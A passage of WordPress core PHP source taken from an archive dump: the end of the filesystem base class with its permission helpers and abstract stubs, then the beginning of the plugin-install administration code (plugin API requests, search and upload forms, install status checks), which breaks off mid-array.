
			return trailingslashit( $base . $last_path );
		}

		/*
		 * Prevent this function from looping again.
		 * No need to proceed if we've just searched in `/`.
		 */
		if ( $loop || '/' === $base ) {
			return false;
		}

		/*
		 * As an extra last resort, Change back to / if the folder wasn't found.
		 * This comes into effect when the CWD is /home/user/ but WP is at /var/www/....
		 */
		return $this->search_for_folder( $folder, '/', true );
	}

	/**
	 * Returns the *nix-style file permissions for a file.
	 *
	 * From the PHP documentation page for fileperms().
	 *
	 * @link https://www.php.net/manual/en/function.fileperms.php
	 *
	 * @since 2.5.0
	 *
	 * @param string $file String filename.
	 * @return string The *nix-style representation of permissions.
	 */
	public function gethchmod( $file ) {
		$perms = intval( $this->getchmod( $file ), 8 );

		if ( ( $perms & 0xC000 ) === 0xC000 ) { // Socket.
			$info = 's';
		} elseif ( ( $perms & 0xA000 ) === 0xA000 ) { // Symbolic Link.
			$info = 'l';
		} elseif ( ( $perms & 0x8000 ) === 0x8000 ) { // Regular.
			$info = '-';
		} elseif ( ( $perms & 0x6000 ) === 0x6000 ) { // Block special.
			$info = 'b';
		} elseif ( ( $perms & 0x4000 ) === 0x4000 ) { // Directory.
			$info = 'd';
		} elseif ( ( $perms & 0x2000 ) === 0x2000 ) { // Character special.
			$info = 'c';
		} elseif ( ( $perms & 0x1000 ) === 0x1000 ) { // FIFO pipe.
			$info = 'p';
		} else { // Unknown.
			$info = 'u';
		}

		// Owner.
		$info .= ( ( $perms & 0x0100 ) ? 'r' : '-' );
		$info .= ( ( $perms & 0x0080 ) ? 'w' : '-' );
		$info .= ( ( $perms & 0x0040 ) ?
					( ( $perms & 0x0800 ) ? 's' : 'x' ) :
					( ( $perms & 0x0800 ) ? 'S' : '-' ) );

		// Group.
		$info .= ( ( $perms & 0x0020 ) ? 'r' : '-' );
		$info .= ( ( $perms & 0x0010 ) ? 'w' : '-' );
		$info .= ( ( $perms & 0x0008 ) ?
					( ( $perms & 0x0400 ) ? 's' : 'x' ) :
					( ( $perms & 0x0400 ) ? 'S' : '-' ) );

		// World.
		$info .= ( ( $perms & 0x0004 ) ? 'r' : '-' );
		$info .= ( ( $perms & 0x0002 ) ? 'w' : '-' );
		$info .= ( ( $perms & 0x0001 ) ?
					( ( $perms & 0x0200 ) ? 't' : 'x' ) :
					( ( $perms & 0x0200 ) ? 'T' : '-' ) );

		return $info;
	}

	/**
	 * Gets the permissions of the specified file or filepath in their octal format.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to the file.
	 * @return string Mode of the file (the last 3 digits).
	 */
	public function getchmod( $file ) {
		return '777';
	}

	/**
	 * Converts *nix-style file permissions to an octal number.
	 *
	 * Converts '-rw-r--r--' to 0644
	 * From "info at rvgate dot nl"'s comment on the PHP documentation for chmod()
	 *
	 * @link https://www.php.net/manual/en/function.chmod.php#49614
	 *
	 * @since 2.5.0
	 *
	 * @param string $mode string The *nix-style file permissions.
	 * @return string Octal representation of permissions.
	 */
	public function getnumchmodfromh( $mode ) {
		$realmode = '';
		$legal    = array( '', 'w', 'r', 'x', '-' );
		$attarray = preg_split( '//', $mode );

		for ( $i = 0, $c = count( $attarray ); $i < $c; $i++ ) {
			$key = array_search( $attarray[ $i ], $legal, true );

			if ( $key ) {
				$realmode .= $legal[ $key ];
			}
		}

		$mode  = str_pad( $realmode, 10, '-', STR_PAD_LEFT );
		$trans = array(
			'-' => '0',
			'r' => '4',
			'w' => '2',
			'x' => '1',
		);
		$mode  = strtr( $mode, $trans );

		$newmode  = $mode[0];
		$newmode .= $mode[1] + $mode[2] + $mode[3];
		$newmode .= $mode[4] + $mode[5] + $mode[6];
		$newmode .= $mode[7] + $mode[8] + $mode[9];

		return $newmode;
	}

	/**
	 * Determines if the string provided contains binary characters.
	 *
	 * @since 2.7.0
	 *
	 * @param string $text String to test against.
	 * @return bool True if string is binary, false otherwise.
	 */
	public function is_binary( $text ) {
		return (bool) preg_match( '|[^\x20-\x7E]|', $text ); // chr(32)..chr(127)
	}

	/**
	 * Changes the owner of a file or directory.
	 *
	 * Default behavior is to do nothing, override this in your subclass, if desired.
	 *
	 * @since 2.5.0
	 *
	 * @param string     $file      Path to the file or directory.
	 * @param string|int $owner     A user name or number.
	 * @param bool       $recursive Optional. If set to true, changes file owner recursively.
	 *                              Default false.
	 * @return bool True on success, false on failure.
	 */
	public function chown( $file, $owner, $recursive = false ) {
		return false;
	}

	/**
	 * Connects filesystem.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @return bool True on success, false on failure (always true for WP_Filesystem_Direct).
	 */
	public function connect() {
		return true;
	}

	/**
	 * Reads entire file into a string.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $file Name of the file to read.
	 * @return string|false Read data on success, false on failure.
	 */
	public function get_contents( $file ) {
		return false;
	}

	/**
	 * Reads entire file into an array.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $file Path to the file.
	 * @return array|false File contents in an array on success, false on failure.
	 */
	public function get_contents_array( $file ) {
		return false;
	}

	/**
	 * Writes a string to a file.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string    $file     Remote path to the file where to write the data.
	 * @param string    $contents The data to write.
	 * @param int|false $mode     Optional. The file permissions as octal number, usually 0644.
	 *                            Default false.
	 * @return bool True on success, false on failure.
	 */
	public function put_contents( $file, $contents, $mode = false ) {
		return false;
	}

	/**
	 * Gets the current working directory.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @return string|false The current working directory on success, false on failure.
	 */
	public function cwd() {
		return false;
	}

	/**
	 * Changes current directory.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $dir The new current directory.
	 * @return bool True on success, false on failure.
	 */
	public function chdir( $dir ) {
		return false;
	}

	/**
	 * Changes the file group.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string     $file      Path to the file.
	 * @param string|int $group     A group name or number.
	 * @param bool       $recursive Optional. If set to true, changes file group recursively.
	 *                              Default false.
	 * @return bool True on success, false on failure.
	 */
	public function chgrp( $file, $group, $recursive = false ) {
		return false;
	}

	/**
	 * Changes filesystem permissions.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string    $file      Path to the file.
	 * @param int|false $mode      Optional. The permissions as octal number, usually 0644 for files,
	 *                             0755 for directories. Default false.
	 * @param bool      $recursive Optional. If set to true, changes file permissions recursively.
	 *                             Default false.
	 * @return bool True on success, false on failure.
	 */
	public function chmod( $file, $mode = false, $recursive = false ) {
		return false;
	}

	/**
	 * Gets the file owner.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $file Path to the file.
	 * @return string|false Username of the owner on success, false on failure.
	 */
	public function owner( $file ) {
		return false;
	}

	/**
	 * Gets the file's group.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $file Path to the file.
	 * @return string|false The group on success, false on failure.
	 */
	public function group( $file ) {
		return false;
	}

	/**
	 * Copies a file.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string    $source      Path to the source file.
	 * @param string    $destination Path to the destination file.
	 * @param bool      $overwrite   Optional. Whether to overwrite the destination file if it exists.
	 *                               Default false.
	 * @param int|false $mode        Optional. The permissions as octal number, usually 0644 for files,
	 *                               0755 for dirs. Default false.
	 * @return bool True on success, false on failure.
	 */
	public function copy( $source, $destination, $overwrite = false, $mode = false ) {
		return false;
	}

	/**
	 * Moves a file.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $source      Path to the source file.
	 * @param string $destination Path to the destination file.
	 * @param bool   $overwrite   Optional. Whether to overwrite the destination file if it exists.
	 *                            Default false.
	 * @return bool True on success, false on failure.
	 */
	public function move( $source, $destination, $overwrite = false ) {
		return false;
	}

	/**
	 * Deletes a file or directory.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string       $file      Path to the file or directory.
	 * @param bool         $recursive Optional. If set to true, deletes files and folders recursively.
	 *                                Default false.
	 * @param string|false $type      Type of resource. 'f' for file, 'd' for directory.
	 *                                Default false.
	 * @return bool True on success, false on failure.
	 */
	public function delete( $file, $recursive = false, $type = false ) {
		return false;
	}

	/**
	 * Checks if a file or directory exists.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $path Path to file or directory.
	 * @return bool Whether $path exists or not.
	 */
	public function exists( $path ) {
		return false;
	}

	/**
	 * Checks if resource is a file.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $file File path.
	 * @return bool Whether $file is a file.
	 */
	public function is_file( $file ) {
		return false;
	}

	/**
	 * Checks if resource is a directory.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $path Directory path.
	 * @return bool Whether $path is a directory.
	 */
	public function is_dir( $path ) {
		return false;
	}

	/**
	 * Checks if a file is readable.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $file Path to file.
	 * @return bool Whether $file is readable.
	 */
	public function is_readable( $file ) {
		return false;
	}

	/**
	 * Checks if a file or directory is writable.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $path Path to file or directory.
	 * @return bool Whether $path is writable.
	 */
	public function is_writable( $path ) {
		return false;
	}

	/**
	 * Gets the file's last access time.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $file Path to file.
	 * @return int|false Unix timestamp representing last access time, false on failure.
	 */
	public function atime( $file ) {
		return false;
	}

	/**
	 * Gets the file modification time.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $file Path to file.
	 * @return int|false Unix timestamp representing modification time, false on failure.
	 */
	public function mtime( $file ) {
		return false;
	}

	/**
	 * Gets the file size (in bytes).
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $file Path to file.
	 * @return int|false Size of the file in bytes on success, false on failure.
	 */
	public function size( $file ) {
		return false;
	}

	/**
	 * Sets the access and modification times of a file.
	 *
	 * Note: If $file doesn't exist, it will be created.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $file  Path to file.
	 * @param int    $time  Optional. Modified time to set for file.
	 *                      Default 0.
	 * @param int    $atime Optional. Access time to set for file.
	 *                      Default 0.
	 * @return bool True on success, false on failure.
	 */
	public function touch( $file, $time = 0, $atime = 0 ) {
		return false;
	}

	/**
	 * Creates a directory.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string           $path  Path for new directory.
	 * @param int|false        $chmod Optional. The permissions as octal number (or false to skip chmod).
	 *                                Default false.
	 * @param string|int|false $chown Optional. A user name or number (or false to skip chown).
	 *                                Default false.
	 * @param string|int|false $chgrp Optional. A group name or number (or false to skip chgrp).
	 *                                Default false.
	 * @return bool True on success, false on failure.
	 */
	public function mkdir( $path, $chmod = false, $chown = false, $chgrp = false ) {
		return false;
	}

	/**
	 * Deletes a directory.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $path      Path to directory.
	 * @param bool   $recursive Optional. Whether to recursively remove files/directories.
	 *                          Default false.
	 * @return bool True on success, false on failure.
	 */
	public function rmdir( $path, $recursive = false ) {
		return false;
	}

	/**
	 * Gets details for files in a directory or a specific file.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $path           Path to directory or file.
	 * @param bool   $include_hidden Optional. Whether to include details of hidden ("." prefixed) files.
	 *                               Default true.
	 * @param bool   $recursive      Optional. Whether to recursively include file details in nested directories.
	 *                               Default false.
	 * @return array|false {
	 *     Array of arrays containing file information. False if unable to list directory contents.
	 *
	 *     @type array $0... {
	 *         Array of file information. Note that some elements may not be available on all filesystems.
	 *
	 *         @type string           $name        Name of the file or directory.
	 *         @type string           $perms       *nix representation of permissions.
	 *         @type string           $permsn      Octal representation of permissions.
	 *         @type int|string|false $number      File number. May be a numeric string. False if not available.
	 *         @type string|false     $owner       Owner name or ID, or false if not available.
	 *         @type string|false     $group       File permissions group, or false if not available.
	 *         @type int|string|false $size        Size of file in bytes. May be a numeric string.
	 *                                             False if not available.
	 *         @type int|string|false $lastmodunix Last modified unix timestamp. May be a numeric string.
	 *                                             False if not available.
	 *         @type string|false     $lastmod     Last modified month (3 letters) and day (without leading 0), or
	 *                                             false if not available.
	 *         @type string|false     $time        Last modified time, or false if not available.
	 *         @type string           $type        Type of resource. 'f' for file, 'd' for directory, 'l' for link.
	 *         @type array|false      $files       If a directory and `$recursive` is true, contains another array of
	 *                                             files. False if unable to list directory contents.
	 *     }
	 * }
	 */
	public function dirlist( $path, $include_hidden = true, $recursive = false ) {
		return false;
	}
}
plugin-install.php000064400000105103150275632050010224 0ustar00<?php
/**
 * WordPress Plugin Install Administration API
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Retrieves plugin installer pages from the WordPress.org Plugins API.
 *
 * It is possible for a plugin to override the Plugin API result with three
 * filters. Assume this is for plugins, which can extend on the Plugin Info to
 * offer more choices. This is very powerful and must be used with care when
 * overriding the filters.
 *
 * The first filter, {@see 'plugins_api_args'}, is for the args and gives the action
 * as the second parameter. The hook for {@see 'plugins_api_args'} must ensure that
 * an object is returned.
 *
 * The second filter, {@see 'plugins_api'}, allows a plugin to override the WordPress.org
 * Plugin Installation API entirely. If `$action` is 'query_plugins' or 'plugin_information',
 * an object MUST be passed. If `$action` is 'hot_tags' or 'hot_categories', an array MUST
 * be passed.
 *
 * Finally, the third filter, {@see 'plugins_api_result'}, makes it possible to filter the
 * response object or array, depending on the `$action` type.
 *
 * Supported arguments per action:
 *
 * | Argument Name        | query_plugins | plugin_information | hot_tags | hot_categories |
 * | -------------------- | :-----------: | :----------------: | :------: | :------------: |
 * | `$slug`              | No            |  Yes               | No       | No             |
 * | `$per_page`          | Yes           |  No                | No       | No             |
 * | `$page`              | Yes           |  No                | No       | No             |
 * | `$number`            | No            |  No                | Yes      | Yes            |
 * | `$search`            | Yes           |  No                | No       | No             |
 * | `$tag`               | Yes           |  No                | No       | No             |
 * | `$author`            | Yes           |  No                | No       | No             |
 * | `$user`              | Yes           |  No                | No       | No             |
 * | `$browse`            | Yes           |  No                | No       | No             |
 * | `$locale`            | Yes           |  Yes               | No       | No             |
 * | `$installed_plugins` | Yes           |  No                | No       | No             |
 * | `$is_ssl`            | Yes           |  Yes               | No       | No             |
 * | `$fields`            | Yes           |  Yes               | No       | No             |
 *
 * @since 2.7.0
 *
 * @param string       $action API action to perform: 'query_plugins', 'plugin_information',
 *                             'hot_tags' or 'hot_categories'.
 * @param array|object $args   {
 *     Optional. Array or object of arguments to serialize for the Plugin Info API.
 *
 *     @type string  $slug              The plugin slug. Default empty.
 *     @type int     $per_page          Number of plugins per page. Default 24.
 *     @type int     $page              Number of current page. Default 1.
 *     @type int     $number            Number of tags or categories to be queried.
 *     @type string  $search            A search term. Default empty.
 *     @type string  $tag               Tag to filter plugins. Default empty.
 *     @type string  $author            Username of an plugin author to filter plugins. Default empty.
 *     @type string  $user              Username to query for their favorites. Default empty.
 *     @type string  $browse            Browse view: 'popular', 'new', 'beta', 'recommended'.
 *     @type string  $locale            Locale to provide context-sensitive results. Default is the value
 *                                      of get_locale().
 *     @type string  $installed_plugins Installed plugins to provide context-sensitive results.
 *     @type bool    $is_ssl            Whether links should be returned with https or not. Default false.
 *     @type array   $fields            {
 *         Array of fields which should or should not be returned.
 *
 *         @type bool $short_description Whether to return the plugin short description. Default true.
 *         @type bool $description       Whether to return the plugin full description. Default false.
 *         @type bool $sections          Whether to return the plugin readme sections: description, installation,
 *                                       FAQ, screenshots, other notes, and changelog. Default false.
 *         @type bool $tested            Whether to return the 'Compatible up to' value. Default true.
 *         @type bool $requires          Whether to return the required WordPress version. Default true.
 *         @type bool $requires_php      Whether to return the required PHP version. Default true.
 *         @type bool $rating            Whether to return the rating in percent and total number of ratings.
 *                                       Default true.
 *         @type bool $ratings           Whether to return the number of rating for each star (1-5). Default true.
 *         @type bool $downloaded        Whether to return the download count. Default true.
 *         @type bool $downloadlink      Whether to return the download link for the package. Default true.
 *         @type bool $last_updated      Whether to return the date of the last update. Default true.
 *         @type bool $added             Whether to return the date when the plugin was added to the wordpress.org
 *                                       repository. Default true.
 *         @type bool $tags              Whether to return the assigned tags. Default true.
 *         @type bool $compatibility     Whether to return the WordPress compatibility list. Default true.
 *         @type bool $homepage          Whether to return the plugin homepage link. Default true.
 *         @type bool $versions          Whether to return the list of all available versions. Default false.
 *         @type bool $donate_link       Whether to return the donation link. Default true.
 *         @type bool $reviews           Whether to return the plugin reviews. Default false.
 *         @type bool $banners           Whether to return the banner images links. Default false.
 *         @type bool $icons             Whether to return the icon links. Default false.
 *         @type bool $active_installs   Whether to return the number of active installations. Default false.
 *         @type bool $group             Whether to return the assigned group. Default false.
 *         @type bool $contributors      Whether to return the list of contributors. Default false.
 *     }
 * }
 * @return object|array|WP_Error Response object or array on success, WP_Error on failure. See the
 *         {@link https://developer.wordpress.org/reference/functions/plugins_api/ function reference article}
 *         for more information on the make-up of possible return values depending on the value of `$action`.
 */
function plugins_api( $action, $args = array() ) {
	// Include an unmodified $wp_version.
	require ABSPATH . WPINC . '/version.php';

	if ( is_array( $args ) ) {
		$args = (object) $args;
	}

	if ( 'query_plugins' === $action ) {
		if ( ! isset( $args->per_page ) ) {
			$args->per_page = 24;
		}
	}

	if ( ! isset( $args->locale ) ) {
		$args->locale = get_user_locale();
	}

	if ( ! isset( $args->wp_version ) ) {
		$args->wp_version = substr( $wp_version, 0, 3 ); // x.y
	}

	/**
	 * Filters the WordPress.org Plugin Installation API arguments.
	 *
	 * Important: An object MUST be returned to this filter.
	 *
	 * @since 2.7.0
	 *
	 * @param object $args   Plugin API arguments.
	 * @param string $action The type of information being requested from the Plugin Installation API.
	 */
	$args = apply_filters( 'plugins_api_args', $args, $action );

	/**
	 * Filters the response for the current WordPress.org Plugin Installation API request.
	 *
	 * Returning a non-false value will effectively short-circuit the WordPress.org API request.
	 *
	 * If `$action` is 'query_plugins' or 'plugin_information', an object MUST be passed.
	 * If `$action` is 'hot_tags' or 'hot_categories', an array should be passed.
	 *
	 * @since 2.7.0
	 *
	 * @param false|object|array $result The result object or array. Default false.
	 * @param string             $action The type of information being requested from the Plugin Installation API.
	 * @param object             $args   Plugin API arguments.
	 */
	$res = apply_filters( 'plugins_api', false, $action, $args );

	if ( false === $res ) {

		$url = 'http://api.wordpress.org/plugins/info/1.2/';
		$url = add_query_arg(
			array(
				'action'  => $action,
				'request' => $args,
			),
			$url
		);

		$http_url = $url;
		$ssl      = wp_http_supports( array( 'ssl' ) );
		if ( $ssl ) {
			$url = set_url_scheme( $url, 'https' );
		}

		$http_args = array(
			'timeout'    => 15,
			'user-agent' => 'WordPress/' . $wp_version . '; ' . home_url( '/' ),
		);
		$request   = wp_remote_get( $url, $http_args );

		if ( $ssl && is_wp_error( $request ) ) {
			if ( ! wp_is_json_request() ) {
				trigger_error(
					sprintf(
						/* translators: %s: Support forums URL. */
						__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
						__( 'https://wordpress.org/support/forums/' )
					) . ' ' . __( '(WordPress could not establish a secure connection to WordPress.org. Please contact your server administrator.)' ),
					headers_sent() || WP_DEBUG ? E_USER_WARNING : E_USER_NOTICE
				);
			}

			$request = wp_remote_get( $http_url, $http_args );
		}

		if ( is_wp_error( $request ) ) {
			$res = new WP_Error(
				'plugins_api_failed',
				sprintf(
					/* translators: %s: Support forums URL. */
					__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
					__( 'https://wordpress.org/support/forums/' )
				),
				$request->get_error_message()
			);
		} else {
			$res = json_decode( wp_remote_retrieve_body( $request ), true );
			if ( is_array( $res ) ) {
				// Object casting is required in order to match the info/1.0 format.
				$res = (object) $res;
			} elseif ( null === $res ) {
				$res = new WP_Error(
					'plugins_api_failed',
					sprintf(
						/* translators: %s: Support forums URL. */
						__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
						__( 'https://wordpress.org/support/forums/' )
					),
					wp_remote_retrieve_body( $request )
				);
			}

			if ( isset( $res->error ) ) {
				$res = new WP_Error( 'plugins_api_failed', $res->error );
			}
		}
	} elseif ( ! is_wp_error( $res ) ) {
		$res->external = true;
	}

	/**
	 * Filters the Plugin Installation API response results.
	 *
	 * @since 2.7.0
	 *
	 * @param object|WP_Error $res    Response object or WP_Error.
	 * @param string          $action The type of information being requested from the Plugin Installation API.
	 * @param object          $args   Plugin API arguments.
	 */
	return apply_filters( 'plugins_api_result', $res, $action, $args );
}

/**
 * Retrieves popular WordPress plugin tags.
 *
 * @since 2.7.0
 *
 * @param array $args
 * @return array|WP_Error
 */
function install_popular_tags( $args = array() ) {
	$key  = md5( serialize( $args ) );
	$tags = get_site_transient( 'poptags_' . $key );
	if ( false !== $tags ) {
		return $tags;
	}

	$tags = plugins_api( 'hot_tags', $args );

	if ( is_wp_error( $tags ) ) {
		return $tags;
	}

	set_site_transient( 'poptags_' . $key, $tags, 3 * HOUR_IN_SECONDS );

	return $tags;
}

/**
 * Displays the Featured tab of Add Plugins screen.
 *
 * @since 2.7.0
 */
function install_dashboard() {
	display_plugins_table();
	?>

	<div class="plugins-popular-tags-wrapper">
	<h2><?php _e( 'Popular tags' ); ?></h2>
	<p><?php _e( 'You may also browse based on the most popular tags in the Plugin Directory:' ); ?></p>
	<?php

	$api_tags = install_popular_tags();

	echo '<p class="popular-tags">';
	if ( is_wp_error( $api_tags ) ) {
		echo $api_tags->get_error_message();
	} else {
		// Set up the tags in a way which can be interpreted by wp_generate_tag_cloud().
		$tags = array();
		foreach ( (array) $api_tags as $tag ) {
			$url                  = self_admin_url( 'plugin-install.php?tab=search&type=tag&s=' . urlencode( $tag['name'] ) );
			$data                 = array(
				'link'  => esc_url( $url ),
				'name'  => $tag['name'],
				'slug'  => $tag['slug'],
				'id'    => sanitize_title_with_dashes( $tag['name'] ),
				'count' => $tag['count'],
			);
			$tags[ $tag['name'] ] = (object) $data;
		}
		echo wp_generate_tag_cloud(
			$tags,
			array(
				/* translators: %s: Number of plugins. */
				'single_text'   => __( '%s plugin' ),
				/* translators: %s: Number of plugins. */
				'multiple_text' => __( '%s plugins' ),
			)
		);
	}
	echo '</p><br class="clear" /></div>';
}

/**
 * Displays a search form for searching plugins.
 *
 * @since 2.7.0
 * @since 4.6.0 The `$type_selector` parameter was deprecated.
 *
 * @param bool $deprecated Not used.
 */
function install_search_form( $deprecated = true ) {
	$type = isset( $_REQUEST['type'] ) ? wp_unslash( $_REQUEST['type'] ) : 'term';
	$term = isset( $_REQUEST['s'] ) ? urldecode( wp_unslash( $_REQUEST['s'] ) ) : '';
	?>
	<form class="search-form search-plugins" method="get">
		<input type="hidden" name="tab" value="search" />
		<label class="screen-reader-text" for="typeselector">
			<?php
			/* translators: Hidden accessibility text. */
			_e( 'Search plugins by:' );
			?>
		</label>
		<select name="type" id="typeselector">
			<option value="term"<?php selected( 'term', $type ); ?>><?php _e( 'Keyword' ); ?></option>
			<option value="author"<?php selected( 'author', $type ); ?>><?php _e( 'Author' ); ?></option>
			<option value="tag"<?php selected( 'tag', $type ); ?>><?php _ex( 'Tag', 'Plugin Installer' ); ?></option>
		</select>
		<label class="screen-reader-text" for="search-plugins">
			<?php
			/* translators: Hidden accessibility text. */
			_e( 'Search Plugins' );
			?>
		</label>
		<input type="search" name="s" id="search-plugins" value="<?php echo esc_attr( $term ); ?>" class="wp-filter-search" placeholder="<?php esc_attr_e( 'Search plugins...' ); ?>" />
		<?php submit_button( __( 'Search Plugins' ), 'hide-if-js', false, false, array( 'id' => 'search-submit' ) ); ?>
	</form>
	<?php
}

/**
 * Displays a form to upload plugins from zip files.
 *
 * @since 2.8.0
 */
function install_plugins_upload() {
	?>
<div class="upload-plugin">
	<p class="install-help"><?php _e( 'If you have a plugin in a .zip format, you may install or update it by uploading it here.' ); ?></p>
	<form method="post" enctype="multipart/form-data" class="wp-upload-form" action="<?php echo esc_url( self_admin_url( 'update.php?action=upload-plugin' ) ); ?>">
		<?php wp_nonce_field( 'plugin-upload' ); ?>
		<label class="screen-reader-text" for="pluginzip">
			<?php
			/* translators: Hidden accessibility text. */
			_e( 'Plugin zip file' );
			?>
		</label>
		<input type="file" id="pluginzip" name="pluginzip" accept=".zip" />
		<?php submit_button( __( 'Install Now' ), '', 'install-plugin-submit', false ); ?>
	</form>
</div>
	<?php
}

/**
 * Shows a username form for the favorites page.
 *
 * @since 3.5.0
 */
function install_plugins_favorites_form() {
	$user   = get_user_option( 'wporg_favorites' );
	$action = 'save_wporg_username_' . get_current_user_id();
	?>
	<p><?php _e( 'If you have marked plugins as favorites on WordPress.org, you can browse them here.' ); ?></p>
	<form method="get">
		<input type="hidden" name="tab" value="favorites" />
		<p>
			<label for="user"><?php _e( 'Your WordPress.org username:' ); ?></label>
			<input type="search" id="user" name="user" value="<?php echo esc_attr( $user ); ?>" />
			<input type="submit" class="button" value="<?php esc_attr_e( 'Get Favorites' ); ?>" />
			<input type="hidden" id="wporg-username-nonce" name="_wpnonce" value="<?php echo esc_attr( wp_create_nonce( $action ) ); ?>" />
		</p>
	</form>
	<?php
}

/**
 * Displays plugin content based on plugin list.
 *
 * @since 2.7.0
 *
 * @global WP_List_Table $wp_list_table
 */
function display_plugins_table() {
	global $wp_list_table;

	switch ( current_filter() ) {
		case 'install_plugins_beta':
			printf(
				/* translators: %s: URL to "Features as Plugins" page. */
				'<p>' . __( 'You are using a development version of WordPress. These feature plugins are also under development. <a href="%s">Learn more</a>.' ) . '</p>',
				'https://make.wordpress.org/core/handbook/about/release-cycle/features-as-plugins/'
			);
			break;
		case 'install_plugins_featured':
			printf(
				/* translators: %s: https://wordpress.org/plugins/ */
				'<p>' . __( 'Plugins extend and expand the functionality of WordPress. You may install plugins in the <a href="%s">WordPress Plugin Directory</a> right from here, or upload a plugin in .zip format by clicking the button at the top of this page.' ) . '</p>',
				__( 'https://wordpress.org/plugins/' )
			);
			break;
		case 'install_plugins_recommended':
			echo '<p>' . __( 'These suggestions are based on the plugins you and other users have installed.' ) . '</p>';
			break;
		case 'install_plugins_favorites':
			if ( empty( $_GET['user'] ) && ! get_user_option( 'wporg_favorites' ) ) {
				return;
			}
			break;
	}
	?>
	<form id="plugin-filter" method="post">
		<?php $wp_list_table->display(); ?>
	</form>
	<?php
}

/**
 * Determines the status we can perform on a plugin.
 *
 * @since 3.0.0
 *
 * @param array|object $api  Data about the plugin retrieved from the API.
 * @param bool         $loop Optional. Disable further loops. Default false.
 * @return array {
 *     Plugin installation status data.
 *
 *     @type string $status  Status of a plugin. Could be one of 'install', 'update_available', 'latest_installed' or 'newer_installed'.
 *     @type string $url     Plugin installation URL.
 *     @type string $version The most recent version of the plugin.
 *     @type string $file    Plugin filename relative to the plugins directory.
 * }
 */
function install_plugin_install_status( $api, $loop = false ) {
	// This function is called recursively, $loop prevents further loops.
	if ( is_array( $api ) ) {
		$api = (object) $api;
	}

	// Default to a "new" plugin.
	$status      = 'install';
	$url         = false;
	$update_file = false;
	$version     = '';

	/*
	 * Check to see if this plugin is known to be installed,
	 * and has an update awaiting it.
	 */
	$update_plugins = get_site_transient( 'update_plugins' );
	if ( isset( $update_plugins->response ) ) {
		foreach ( (array) $update_plugins->response as $file => $plugin ) {
			if ( $plugin->slug === $api->slug ) {
				$status      = 'update_available';
				$update_file = $file;
				$version     = $plugin->new_version;
				if ( current_user_can( 'update_plugins' ) ) {
					$url = wp_nonce_url( self_admin_url( 'update.php?action=upgrade-plugin&plugin=' . $update_file ), 'upgrade-plugin_' . $update_file );
				}
				break;
			}
		}
	}

	if ( 'install' === $status ) {
		if ( is_dir( WP_PLUGIN_DIR . '/' . $api->slug ) ) {
			$installed_plugin = get_plugins( '/' . $api->slug );
			if ( empty( $installed_plugin ) ) {
				if ( current_user_can( 'install_plugins' ) ) {
					$url = wp_nonce_url( self_admin_url( 'update.php?action=install-plugin&plugin=' . $api->slug ), 'install-plugin_' . $api->slug );
				}
			} else {
				$key = array_keys( $installed_plugin );
				/*
				 * Use the first plugin regardless of the name.
				 * Could have issues for multiple plugins in one directory if they share different version numbers.
				 */
				$key = reset( $key );

				$update_file = $api->slug . '/' . $key;
				if ( version_compare( $api->version, $installed_plugin[ $key ]['Version'], '=' ) ) {
					$status = 'latest_installed';
				} elseif ( version_compare( $api->version, $installed_plugin[ $key ]['Version'], '<' ) ) {
					$status  = 'newer_installed';
					$version = $installed_plugin[ $key ]['Version'];
				} else {
					// If the above update check failed, then that probably means that the update checker has out-of-date information, force a refresh.
					if ( ! $loop ) {
						delete_site_transient( 'update_plugins' );
						wp_update_plugins();
						return install_plugin_install_status( $api, true );
					}
				}
			}
		} else {
			// "install" & no directory with that slug.
			if ( current_user_can( 'install_plugins' ) ) {
				$url = wp_nonce_url( self_admin_url( 'update.php?action=install-plugin&plugin=' . $api->slug ), 'install-plugin_' . $api->slug );
			}
		}
	}
	if ( isset( $_GET['from'] ) ) {
		$url .= '&amp;from=' . urlencode( wp_unslash( $_GET['from'] ) );
	}

	$file = $update_file;
	return compact( 'status', 'url', 'version', 'file' );
}

/**
 * Displays plugin information in dialog box form.
 *
 * @since 2.7.0
 *
 * @global string $tab
 */
function install_plugin_information() {
	global $tab;

	if ( empty( $_REQUEST['plugin'] ) ) {
		return;
	}

	$api = plugins_api(
		'plugin_information',
		array(
			'slug' => wp_unslash( $_REQUEST['plugin'] ),
		)
	);

	if ( is_wp_error( $api ) ) {
		wp_die( $api );
	}

	$plugins_allowedtags = array(
		'a'          => array(
			'href'   => array(),
			'title'  => array(),
			'target' => array(),
		),
		'abbr'       => array( 'title' => array() ),
